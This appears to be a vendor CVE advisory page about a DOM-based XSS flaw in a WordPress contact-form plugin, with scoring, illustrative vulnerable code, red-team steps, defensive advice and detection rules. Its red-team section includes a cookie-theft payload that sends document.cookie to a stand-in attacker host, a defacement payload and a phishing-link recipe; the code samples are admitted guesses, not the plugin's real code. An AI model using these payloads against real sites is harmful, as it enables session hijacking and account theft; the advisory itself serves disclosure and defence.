CVE-2025-32199
Executive Summary
CVE-2025-32199 is a DOM-Based Cross-Site Scripting (XSS) vulnerability identified in the WordPress plugin Contact Form Builder by vcita (slug: contact-form-with-a-meeting-scheduler-by-vcita). The vulnerability affects all versions up to and including 4.10.2. An attacker can inject malicious scripts into the web page via user-supplied input that is improperly neutralized, leading to script execution in the victim's browser within the context of the WordPress site. This can result in session hijacking, credential theft, or defacement.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package. However, as a WordPress plugin, it is part of the WordPress supply chain. Users should verify the integrity of the plugin file and ensure it is obtained from the official repository. No known compromised versions have been reported, but the lack of a patch increases supply chain risk.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click a crafted link or visit a malicious page)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The vulnerability requires user interaction but can be exploited remotely without authentication. The DOM-based nature makes it harder to detect via server-side logs.
Deep Dive & Mechanics
The vulnerability is a DOM-Based XSS in the Contact Form Builder by vcita plugin. The plugin processes user input (e.g., form field values, URL parameters) and injects it into the DOM without proper sanitization or encoding. An attacker can craft a malicious URL or form submission that, when processed by the victim's browser, executes arbitrary JavaScript.
Root Cause: The plugin uses JavaScript to dynamically update the page content based on user input (e.g., via document.write, innerHTML, or eval-like functions) without escaping HTML entities or validating input against a whitelist.
Attack Vector:
- Attacker crafts a URL with a malicious payload in a parameter (e.g.,
?name=<script>alert(1)</script>). - Victim clicks the link or visits a page where the plugin processes the parameter.
- The plugin's JavaScript reads the parameter and inserts it into the DOM, executing the script.
Impact: The attacker can steal cookies, redirect users, deface the page, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no patch is available, we analyze the vulnerable code pattern. The vulnerable version likely contains code similar to:
// Vulnerable code (example)
var name = getParameterByName('name');
document.getElementById('form-output').innerHTML = name;
A patched version would use safe DOM manipulation methods:
// Patched code (example)
var name = getParameterByName('name');
var output = document.getElementById('form-output');
output.textContent = name; // or use createTextNode
Key Difference: The vulnerable code uses innerHTML (or similar) which interprets HTML, while the patched code uses textContent which treats input as plain text.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress site with Contact Form Builder by vcita <= 4.10.2
- Ability to craft a malicious URL
Exploit Steps:
- Identify a parameter that the plugin processes (e.g.,
name,email,message). - Craft a payload:
<img src=x onerror=alert(document.cookie)> - Construct URL:
http://target-site.com/?name=<img src=x onerror=alert(document.cookie)> - Send the link to the victim (e.g., via phishing email).
- When the victim clicks, the script executes.
Example Payloads:
- Steal cookies:
<script>fetch('http://attacker.com/steal?c='+document.cookie)</script> - Deface:
<script>document.body.innerHTML='<h1>Hacked</h1>'</script>
Blue Team
Detection & Prevention:
- Input Validation: Implement server-side validation to reject HTML tags in form fields.
- Output Encoding: Use
textContentinstead ofinnerHTMLin JavaScript. - Content Security Policy (CSP): Add a strict CSP header to block inline scripts.
- Web Application Firewall (WAF): Deploy rules to block common XSS patterns.
Lab Setup for Testing:
- Install WordPress and the vulnerable plugin.
- Create a page with the contact form.
- Use browser developer tools to inspect DOM manipulation.
- Test with payloads like
<script>alert(1)</script>.
Indicators of Compromise (IOCs)
- Network: HTTP requests containing
<script>tags in query parameters or POST data. - Host: JavaScript files in the plugin directory (
/wp-content/plugins/contact-form-with-a-meeting-scheduler-by-vcita/) that useinnerHTMLordocument.write. - Logs: Web server logs showing requests with XSS payloads (e.g.,
?name=<script>). - Browser: Unusual JavaScript execution or unexpected page content changes.
Detection Engineering
YARA Rule
rule CVE_2025_32199_DOM_XSS {
meta:
description = "Detects vulnerable DOM XSS patterns in Contact Form Builder by vcita"
author = "Valters IT"
date = "2025-04-01"
cve = "CVE-2025-32199"
strings:
$s1 = "innerHTML" nocase
$s2 = "document.write" nocase
$s3 = "getParameterByName" nocase
$s4 = "vcita" nocase
condition:
all of ($s1, $s2, $s3) or ($s1 and $s4)
}
Sigma Rule
title: CVE-2025-32199 DOM XSS in Contact Form Builder by vcita
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with XSS payloads targeting the vulnerable plugin
author: Valters IT
date: 2025-04-01
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- "/wp-content/plugins/contact-form-with-a-meeting-scheduler-by-vcita/"
c-uri|re: '(<script|<img|<svg|onerror|onload|alert\(|prompt\(|confirm\()'
condition: selection
falsepositives:
- Legitimate use of HTML in form fields (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-32199 DOM XSS in Contact Form Builder by vcita"; flow:to_server,established; content:"/wp-content/plugins/contact-form-with-a-meeting-scheduler-by-vcita/"; http_uri; pcre:"/(<script|<img|<svg|onerror|onload|alert\(|prompt\(|confirm\()/i"; classtype:web-application-attack; sid:10000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
- Add Content Security Policy (CSP) header:
Content-Security-Policy: script-src 'self'; - Sanitize user input server-side using WordPress functions like
sanitize_text_field().
Long-Term Fix:
- The vendor must release a patched version that uses safe DOM methods (e.g.,
textContentinstead ofinnerHTML). - Conduct a code review of all JavaScript files in the plugin.
Workaround:
- Use a different contact form plugin (e.g., Contact Form 7, Gravity Forms) until vcita releases a fix.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.